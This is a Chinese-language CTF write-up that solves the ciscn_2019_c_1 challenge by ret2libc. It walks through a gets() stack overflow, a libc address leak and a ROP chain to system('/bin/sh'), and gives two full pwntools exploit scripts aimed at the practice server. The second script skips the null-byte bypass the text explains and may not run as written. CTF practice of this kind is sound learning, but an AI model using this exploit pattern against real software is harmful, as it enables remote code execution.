ciscn_2019_c_1(型別:ret2libc)

沫憶末憶發表於2020-12-13

和之前做的題目不太一樣,這是一道Return2libc的題目,有很多問題還是不太懂,這裡做一個記錄。
首先進入到題目環境裡面,看看程式大概功能,這樣方便了解程式。
在這裡插入圖片描述
有三個功能選項,只有選項1才有具體的作用,會對輸入進行加密,加密輸出之後繼續返回到程式
用IDA分析程式
checksec檢視一下,開啟了NX
在這裡插入圖片描述

先看到主函式,彙編程式碼的大致意思也就是選項處輸入1就可以進入到encrypt函式,下面給出主函式虛擬碼,輸入的是v4,如果v4=1 呼叫encrypt函式
在這裡插入圖片描述
進入到encrypt分析
在這裡插入圖片描述
這裡發現了gets函式,這裡並沒有限制長度,可能存在棧溢位,但是這裡的輸入會經過下面對字元的加密處理,必然會破壞我們的構造的payload,不過這裡可以繞過,只要讓strlen(s)小於自增的x,我們可以讓strlen(s)的長度為0,也就是讓字串的第一個字元為"\x00",那樣strlen函式讀取到第一個字串就會終止。
我們已經可以知道了如何實現溢位了,但是沒有找到後門函式,也不知道libc的版本,這裡就只能使用Return2libc的方法

當函式呼叫棧沒有執行許可權時,就不能執行我們自己寫入的shellcode,就利用程式裡或系統裡的函式,libc動態連結庫中通常就有需要的函式,如system()

參考文章 1 2 3
所以首先要通過溢位來找到libc的版本,這裡可以線上搜,也可以使用LibcSearcher,線上搜的網址https://libc.blukat.me/,然後通過得到的libc版本找到system函式的地址,特別注意到題目是部署在Ubuntu18上的,因此呼叫system需要棧對齊,這裡填充ret來對齊,這ret地址可以隨意找一個返回地址

from pwn import*
from LibcSearcher import *

context.log_level = 'debug'
io = remote("node3.buuoj.cn" , 27729)
elf = ELF("./ciscn_2019_c_1")
puts_plt =elf.plt["puts"]
puts_got= elf.got["puts"]
pop_rid_ret = 0x400c83  #×64程式基本都存在的一個地址pop rdi;ret
main_addr = 0x400b28

io.recvuntil("Welcome to this Encryption machine\n")
io.sendline('1')

payload1 = b"\x00" + b"A"*(80 - 1 + 8) + p64(pop_rid_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.recvuntil("Input your Plaintext to be encrypted")
io.sendline(payload1)


io.recvuntil('Ciphertext\n')	
io.recvline()
puts_addr = u64(io.recv(7)[:-1].ljust(8,b'\x00'))
print("------------------->",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
sys_libc = libc.dump('system')
bin_sh_libc = libc.dump('str_bin_sh')
puts_libc = libc.dump('puts')
ret = 0x4006B9

sys_addr = puts_addr + (sys_libc - puts_libc)
bin_addr = puts_addr + (bin_sh_libc - puts_libc)

io.recvuntil("Welcome to this Encryption machine\n")
io.sendline('1')

io.recvuntil("Input your Plaintext to be encrypted")
payload2 = b"\x00" + b"A"*(80 - 1 + 8) + p64(ret) + p64(pop_rid_ret) + p64(bin_addr) + p64(sys_addr) + b'A'*8
io.sendline(payload2)

io.interactive()

這裡再給一個exp

from pwn import *
from LibcSearcher import *
 
#p = process('../files/ciscn_2019_c_1')
p = remote('pwn.buuoj.cn', 20115)
e = ELF('../files/ciscn_2019_c_1')
 
start = 0x400B28
rdi_addr = 0x0000000000400c83
 
puts_plt = e.plt['puts']
gets_got = e.got['gets']
 
log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))
 
p.sendlineafter('choice!\n', '1')
 
payload1 = 'a' * (0x50 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)
 
p.sendline(payload1)
 
p.recvuntil('@')
p.recvline()
gets_leak = u64(p.recvline()[:-1].ljust(8, '\0'))
log.success('get_leak_addr => {}'.format(hex(gets_leak)))
 
libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))
 
p.sendlineafter('choice!\n', '1')
 
payload2 = 'a' *(0x50 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
 
p.sendline(payload2)
p.interactive()

放一篇文章

相關文章